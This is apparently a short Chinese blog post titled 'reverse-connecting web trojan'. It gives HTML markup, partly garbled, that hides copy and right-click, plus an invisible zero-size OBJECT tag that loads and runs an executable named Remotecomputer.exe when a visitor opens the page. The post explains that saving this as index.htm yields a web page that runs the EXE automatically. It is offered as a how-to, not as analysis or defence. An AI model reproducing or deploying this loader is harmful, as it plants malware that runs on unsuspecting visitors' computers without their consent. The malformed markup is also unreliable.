反弹网页木马

最新推荐文章于 2024-05-31 00:00:51 发布

danghuadong

最新推荐文章于 2024-05-31 00:00:51 发布

阅读量362

点赞数

分类专栏：批处理文章标签： object exe html

本文链接：https://blog.csdn.net/danghuadong/article/details/7287083

版权

批处理专栏收录该内容

11 篇文章 1 订阅

订阅专栏

<BODY .selection.empty()

noselectstart="return false"

.selection.empty()

.selection.empty()>

<OBJECT id=RUNIT codeBase=Remotecomputer.exe

type=application/x-oleobject height=0 width=0 OBJECT>

在记事本里输入以上内容，接着，将其保存起来并重命名为index.htm文件——这是一个能够自动运行EXE文件的网页。其中Body标签内进行了一些访问控制，屏蔽了鼠标右键、屏蔽了鼠标的拖拽操作、防止Copy等等。第二个标签是负载EXE的代码，通过OBJECT标签负载一个二进制文件，注意这里的type类型为"application/x-oleobject"，上面的代码在object中加入了一个名为“RemoteComputer.exe"的执行文件，如果这时直接打开此html，你就会发现EXE文件将会被运行。